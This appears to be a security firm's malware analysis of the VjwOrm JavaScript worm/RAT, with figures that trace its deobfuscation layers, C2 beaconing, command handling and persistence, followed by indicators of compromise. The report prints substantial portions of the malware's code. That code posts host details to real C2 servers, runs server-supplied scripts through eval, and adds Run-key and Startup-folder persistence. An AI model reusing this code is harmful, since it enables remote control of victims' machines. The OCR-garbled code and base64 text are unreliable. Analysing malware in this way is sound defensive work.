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EXECUTIVE SUMMARY

VjwOrm is a worm that usually spreads via USB drives. It's also classified as a RAT because it executes
commands received from the C2 server. This malware achieves persistence using a Registry Run key and
by copying itself to the Startup folder.

ANALYSIS AND FINDINGS

We will analyze a Javascript file called 45678-INVOICE.js, which can be downloaded from
https://app.any.run/tasks/6a900492-4f4b-42a2-ab80-7f5a7262458b/. This is a hybrid worm/RAT called

VjwOrm.

JSTool is a Notepad++ plugin that is used to display the code in JavaScript format:

"$$85 "j.join("")1:

cEHE® M JSTool >
. [= 45678-INVO JSMin (New file) Converter >
: T JsFormat CtreAem || DSeliCheck >
MIME Tools >
Json Viewer Ctrl+Alt+) —
= : r = (function () {
Options... = [["vigraJs",
Project site peEEl
Source code on GitHub katox ;
[ Check for update
E About En O

}

return [bangerTwo$$$
nao:
return lavenda$$$;
Hol

return [[vigra$$$[C1[°1[°], vigra$$$[.1[C1[°1].join("."),

function kirtFrank$$() {

o

var fintech$$$ = function () {
var vibes$$$ = function () {
var lifter$s$s = [
(function () {

Var bangerIwosss = ['HITEONE"];

var fundamental $$ = "us-"
return fundamental  $$:

HO.
(function () {

var viewEngine$$ = "as";
return viewEngine$$;

Ho.
(function () {

}

var viewEngine$$ = "c";

return viewEngine$$;
Hnao.
(fanction () {

var viewEngine$$ = "i";

return viewEngine$$;

nao.
(function () {

var viewEngine$$ = "i";

return viewEngine$$;
Ho
1:
return lifter$ss
}
return vibes$$$();

return fintech$$$():

var love$$$ = kirtFrank$$().join("");

Figure 1
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In order to debug the code, we can add “<html> <script>" at the beginning of the file and
“</script></html>" at the end of the file and save the file in the html format. We'll use the
Developer Tools from Internet Explorer and the “debugger” statement, which stops the execution of the
JavaScript and calls the debugging function (note a long string that seems to be base64-encoded):

var love$s$s = kirtFrank$$().3oin("
‘aebugger]
fanction _eng3_tinance_func()
function HomePhobic$$$Classer() {
this.observerss = " "
this.gechuildh = fumction () (
return this.observerss:
)
this.setBuildh = function (_$81) (
this.observerss = _$51:

3

var ___ = new HomePhobic$$SClasser():

1 kay$S__ = function () {
HomePhobic$$SClasser .prototype. difiners$s = function () {

= function () {

return

Figure 2

wprorer onsore
> Ge B 2. <

[ Ml 45678-INVOICERtml X

27 var fundamental__ $§ = "us-"
28 return fundamental __$5;
29 »NO,

30 (function () {

31 var viewEnginess = "as”;
32 return viewEnginess;

33 »NO,

34 (function () {

35 var viewEnginess = "c";
36 return viewEnginess;

37 »nO,

38 (function () {

39 var viewEnginess = "i";
40 return viewEngine$$;

4 »NO,

42 (function () {

43 var viewEngines$ = "i";
4 return viewEnginess;

45 »no

46 1

47 return 1ifter$ss

48 b

49 return vibes$$$();

50 3

51 return fintech$$s();

52 }

53

54 var lovesss = kirtFrank$s().join("");
+ 55 pebugeer;
56 function _engj_finance_func() {

57 function HomePhobic$$$Classer() {
58 this.observerss = * %5
59 this.getbuildA = function () {
60 return this.observerss;
61 3
62 this.setBuildA = function (_$51) {
63 this.observer$s = _$51;
64 3
65 3
66 var ___ = new HomePhobic$$sClasser();
67 HomePhobic$$$Classer.prototype.sasskay$$__ = function () {
68 HomePhobic$$$Classer.prototype.difiner$ss = function () {
69 HomePhobic$$$Classer .prototype.codate$ss = function () {
70 return
"dHJSewp2YXIgbGIuZ1R1eHQXTDAET 1puVnVZMLInY T6Z1KyOXVKbT 1221 FriH1ncE1Icot j 13RnNL IQOF viig! iMjRNSONrZ2V3b2d: 3QoTykvhd INEAGXja2RsVE! THeVIY
InZ3 18bOLTQj j IpUi 71n55@!RM copa1p: IpQe! i
nSURKbGRIVN11aUJ6W1NKH@! FXT@! XKH15YT JHeVIy IMHBLO2t2Q218Z610QKAIQOFNS@AaMNI T §BhVZ11SUNNCE1TcOtIQOFNSUNBZO1DQHIIQ8FZG1GeU1He
GhkbVZ1WkdF a@pDUNAQUOF vH@! SHAVK zUnBiMiRS@NrZ2V3b2dQ8F nSUNBZ@1DQHAIQ8FnSUNBZ2RtRN1 IRADOYR! 1kbGNSU N1 eVFr 1TRIIWUUSTITS@! BVYWZF 1 kT 3]
1LU2dwT: 1XY200727HRaVzVr Qi1L 3 JKbHXUY21Fa@pDUR! INRIF1 TUYXYK1GHHNISF pubi] jI5dUtD: £ IHMn 15MDd
Db3BLQ21aMHITBNVZ115UdOCGNUUKAFbUZ1YX1Ra0Da2d1d29nSUNBZ2RERN1IR1pWYE! SSLFKyZ: 18b0LTOj F1tVnp! 1puVRVZM1 Y T 1QOFNSUNCH11YSHdi 2l
nSOdalItTiBhVZ11SUNNCELIcOt: 3Q0TylVh3: 1MF1XeG i 3eTBpQ21BZ010QHd ItUG!hiV1Z1ZEdGC1gXOWZKQIES
021870100kd 3001 iFi ISHNL 300F NSUNCM11YSHAKbl JanhL J08FNSUNCeVOYU1F ibTRnZG1s

Figure 3
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Internet Explorer does its job and displays a warning message. One of the methods to analyze Javascript
files consists of replacing the eval function with document.write (write a string to a document stream)
because this way we can see what code would be executed. After performing the transformation, we can
open the html file again using Internet Explorer:

© C\Users B\ Desktop\d56... % |
var Imao$$$_=WSH.CreateObject("s

1mao$$$_dataType="bin base64"Imao$$$ _text=" dH!)e\\pZY)ﬂquguZlRchQxDOgllpu\ AV ZMIIWY;I0Z1kyOXVEBTIZZFhSEEPDUWEKQFs WHincEllc0 QUFaSUhaaGNpQiThV2R5 WVNRa0DQTURNL SUNBZOIDQWAIQUFy WanS WaVkzUnBiMRaSONiZ2V3b241QOFaSUNBZ0,
[Imao$$$_]__438=WSH.CreateObject("adodb.stream")

Figure 4

The malware replaced “"@!” from the long string that we've seen with *m”, as displayed in the figure below:

var jira$$$ = function (vigraJds$$$S_ ) {
return [
["var" + " 1Imao$SS ", "WSH.CreateObject (\"mi t.xmldom\") .createElement (\"mko\") "],
[["'.x*.—-'“:_", "dataType"] .join("."), "\"bin.base6&4\""],
["1mao$$s .text™, "\"" + vigrads$$$$  .HITPONE.replace(/@!/g, "m") + "\""],
convolute$$$S$Ss (), ["__ 43S", "WSH" + ".CreateObject (\"adodb.stream\")"]
1:
}

Figure 5

The script decodes the long string using Base64 and executes it. We can use CyberChef
(https://gchqg.qithub.io/CyberChef/) to perform this operation and save the new script as 45678-
INVOICE_Layer2.js:

[ 45678-INVOICE_Layer2is E3

"" 4 stubpathl + "\"");

[
eByces(file, bytes) {

= WScript.CreateObject ("ADODB. Strean)

Figure 6

As in the first script, the 2" one decodes a base64-encoded string and then saves it as a js file called
“laeapoOSVO0.js" in the %AppData% directory. The malware executes the newly created file, as shown in
figure 7 (we'll come back to this file in a few paragraphs).
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= 45678INVOICE_Layer2js E3

return EL.nodeTypedvalue;

Figure 7

The process verifies if the registry key called “"HKCU\vjwOrm” exists, which indicates that the host has
already been infected with this RAT. If there is no such key, it is created and populated with “"TRUE” or
“FALSE" depending on the result of a comparison:

wshShelll = null;
var j = ["
var g =
var y = ["wir
var sh = Cr(
var fs = Cr(l):
var spl =
var Ch

var VN "+ "_" + Ob(€);
var fu ScriptFullName;
var wn = WScript.ScriptName;

var U;

ltry {

U = sh.RegRead(g[2]):
} catch (err) {
var sv = fu.split("\\"):

| if (":\\" 4 sv[l] = ":\\" + wn) {
U = "TRUE";
sh.RegWrite(g[2], U, gl[Z1):
} else {
U = "FALSE"

sh.Regw;i:e(g[;] » U, gls]):
}
}

Figure 8

The malware performs a POST request to “http[:]//194.5.97.156:7657/Vre” with a custom user agent. The
response from the C2 server is saved for later use:
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function Pt (C, A) {
var X = Cx(3):
X.open('POST', 'http://]
X.SetRequestHeader (
X.send () ;
return X.responsetext;

Figure 9

+ C, false):

The user agent from above contains a lot of information about the local host, such as computer name, user
name, caption property that contains the OS version, antivirus software installed on the machine, a value
which denotes if the .NET VBC (Visual Basic Compiler) v.2.0.50727 is installed on the host and the value of

the registry key "HKCU\vjwOrm”, as shown in the next pictures:

function nf() {
var s,
NT,
i;

if (fs.fileexists(Ex("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50

NT
} else
NT

nyEge .

o

NOW -
"NO™ ;

}

s = VN + Ch + Ex("COMPUTERNAME") + Ch + Ex("USERNAME") + Ch + Ob(2) + Ch + Ob(4) + Ch + Ch + NT + Ch + U + Ch;

return

w

Figure 10

function Ob(N) {
var s;
if (N = 2) {

s = GetObject(y[C]) .InstancesOf(v[2])

var en = new Enumerator(s):;

for (; !'en.atEnd(); en.moveNext()) {
var it = en.item():’
return it.Caption;

break;
}
}
if (N == 2) {
var wmg = "wi st

s = GetObject
var en = new Enumerator(s):;
for (; !'en.atEnd(); en.moveNext()) {
var it = en.item();
var str = it.DisplayName;

}
if (str 1= ') {
wmg = wmg + "2";

) .InstancesOf (v[51) 7

s = GetObject (wmg) .InstancesOf(y[3])

en = new Enumerator(s):

for (; !'en.atEnd(); en.moveNext()) {

it = en.item()
return it.DisplayName:
}
} else {
return it.DisplayName;
}
}
if (N=¢) {

s = GetObject(y[C]).InstancesOf(y[1]):

var en = new Enumerator(s):;

for (; !'en.atEnd(); en.moveNext()) {
var it = en.item()
return it.volumeserialnumber;
break;

Figure 171
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The response from the C2 server has the following structure: “Command|V|Script|V|Filename”. The
following commands are implemented: “Cl”, “*Sc”, “Ex”, “Rn”, “Up”, “Un"” and “RF”, as shown in figure 12:

do {
try {
var P = Pt('Vre', ''):;
P = P.split(spl):
if (P[0] = "C1") {
WScript.Quit(l);
}
if (P[C] === "Sc") {
var s2 = Ex("temp") + "\\" + P[2]:
var fi = fs.CreateTextFile(s2, true):
fi.Write(P[1]):
fi.Close():
sh.run(s2);
}
if (P[0] === "Ex") {
eval(P[1]):
}
i (P[0T == "Rn") {
var ri = fs.OpenTextFile(fu, 1):
var fr = ri.ReadAll():
ri.Close():
VN = VN.split("_"):
fr = fr.replace(VN[C], P[1]):
var wi = fs.OpenTextFile(fu, 2, false):
wi.Write(fx):
wi.Close():
sh.run("wscript.exe //B \"" + fu + "\""):;
WScript.Quit(l);
if (P[0] = "Up") {
var s2 = Ex("temp") + "\\" + P[2]:
var ctf = fs.CreateTextFile(s2, true):
var gu = P[1];
gu = gu.replace("|U|", "|V|"):
ctf.Write(gu)
ctf.Close()
sh.run("ws .exe //B \"™ + 82 + "\"", 6);
WScript.Quit(l):
if (P[0] == "Un") {
var s2 = P[1l]:
var vdr = fu;
var regi = "Nothing!";
82 = s2.replace("%$f", fu).replace("%n", wn).replace("$sfdr", wvdr).replace("$RgNe%", regi)
eval(s2):;
WScript.Quit(l):
}
if (P[C] === "RF") {
var s2 = Ex("temp”) + "\\" + P[2]:
var fi = fs.CreateTextFile(s2, true):
fi.Write(P[1]):
fi.Close():
sh.run(s2):
}
} catch (err) {}
WScript.Sleep(7000);

} while (true):;

Figure 12

LIFARS

your digital world, secured

244 Fifth Avenue, Suite 2035, New York, NY 10001
LIFARS.com (212) 222-7061 info@lifars.com




Cl command

e exit the script
Sc command
e create a temporary file called “Filename” (provided by the C2 server)
e populate the new file with malicious payload sent by the server
e execute the malicious file
Ex command
e execute additional JS code provided by the C2 server
Rn command
e open and read the current file
e replace "SUCCESS” with a parameter received from the C2 server
e save and execute the script using wscript.exe
Up command
e create a temporary file called “Filename” (provided by the C2 server)
¢ modify the payload received from the server by replacing “|U|” with “|V|”
e write the modified payload to the newly created file
e execute the script using wscript.exe
Un command
e execute additional code received from the C2 server
e F-Secure reported at https://www.f-secure.com/v-descs/worm js viwOrm.shtml  that this
command is used to uninstall the worm module
RF command
e create a temporary file called “Filename” (provided by the C2 server)
e populate the new file with malicious payload sent by the server
e execute the malicious file

For our analysis, we renamed the “laeapoOSVO0.js” file as “"45678-INVOICE_Layer3.js”. This code is
similar to the first script, however, there are a few differences. A snippet of the 3™ script is displayed in
figure 13.
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[=] 45678-INVOICE _Layer3 s E3

function convolute$
var vigra$s$s
(function () {
var serviceWorkerGenerator
var lamdaFunction$$$
return [lamdaFunction$$
nao:
return serviceWorkerGenerat
nao.
(function () {
var lavenda$$$
var bangerTwo$$$ ["HT
return [bangerTwo$$$]:
nao:
return lavenda$$Ss;
Hnol

return [[vigra$$$[0][C0]1[0], vigra

$5855_0) {
[

oW N e

9ot

o w w

(function

[
J bWl

$$

=1

o w

[l function kirtFrank$
var fintech$$$

{
unction () {
var vibes$S$$ function () {
var lifter$ss [
(function () {
var fundamental _ $
return fundamen

$0)
= f

Jo bW N e

nao.
(function () {
var viewEngine$$
return viewEngine$$
nao.,
(function () {
var viewEngine$s$
return viewEngine$$
nao.,
(function () {
var viewEngine$$
return viewEngine$$
nao.
(function () {
var viewEngine$$
return viewEngine

nao

WRRNNNNNNNNN -

O w

www

w

w
I T T S

w W

O w

$

1:
return lifter$ss
}

return vibesS$SS() :

T N YT ST O )

}

return fintech$$$()

L T T N N T ST Y S N S R}
P

(S

var love$$$ = kirtFrank$$().join(""):

wn

s
-e'e'
$$:

$$;

(function () {

gm  ngsss

[r"vi

$1:

_ "].30in("™1:

or;

0 {
TPONE"] ;

$[11091[°]1)-Foin("."),

$ s-
tal $$:

nagn.

new.

wim.

mim.

$:

Figure 13

We apply the same transformation for the base64-encoded string as in the first case ("@!” is replaced with
*m”). CyberChef is utilized to decode the string and the result is saved as 45678-INVOICE_Layer4.js:
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[ 45678-INVOICE _Layerd s 3

1 // Coded by v_BOl | Sliemerez -> Twitter : Sliemerez

var g =
var y = [

var sh = Cr(0):
var fs = Cr(l):
var spl = "[V|";

ber™ + "_" + Ob(€):
var fu = WScript.ScriptFullName;
var wn = WScript.ScriptName;
var U;
Htry {
U = sh.RegRead(g[2]);
} catch (err) {

var sv = fu.splic("\\"):;
=] if (":\\" # sv[l] = ":\\" + wn) {
20 U = "TRUE";
21 sh.RegWrite(g[2], U, g[3]):
22 } else {
U = "FALSE":
sh.RegWrite(g[2], U, g[3]):
T %
=)
Ns():
Edo 3
= try {
0 var P = Pt('Vre', '');
31 P = P.split(spl):
=] if (P[0] = "C1") {
WScript.Quit(l):
}
if (P[0] === "Sc") {
var s2 = Ex("temp") + "\\" + P[2];
var fi = fs.CreateTextFile(s2, true):
40 fi.Write(P[1]):
41 fi.Close():
42 sh.run(s2):
}
if (P[0] === "Ex")
eval(P[1]):
r }
if (P[0] === "Rn") {
var ri = fs.OpenTextFile(fu, 1):
var fr = ri.ReadAll():
ri.Close():
VN = VN.splic("_"):
fr = fr.replace(VN[0], P[1]):
55 var wi = fs.OpenTextFile(fu, 2, false);
56 wi.Write(£fr):
57 wi.Close():

Figure 14

This script is similar to the Layer2 file, however the C2 server changes to

http[:]//myroyailrubin2019.duia.ro:5000 (figure 15). The same commands as before are implemented by
this script.

function Pt (C, A) {
var X = Cxr(3);
X.open('POST', 'http://myroyailrubin2019.duia.ro:5000/"' + C, false):;
X.SetRequestHeader ("U i
X.send () ;
return X.responsetext;

Figure 15
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The script establishes persistence by creating a Run registry key called "SEJOKAOI5S” and by copying itself
to the Startup folder, as displayed in figure 16.

function Ns() {

try {
sh.RegWrite(g[0] + g[3] + "SEJOKAOIS5S", "\"" 4+ fu + "\"", g[5]):
} catech (err) {}

try {
var ap = Cr(2):;
fs.CopyFile (fu, ap.NameSpace(7) .Self.Path + "\\" + wn, true):’

} catch (err) ({}
Figure 16
Indicators of Compromise
C2 domains: - http[:]//194.5.97.156:7657

- http[:]//myroyailrubin2019.duia.ro:5000
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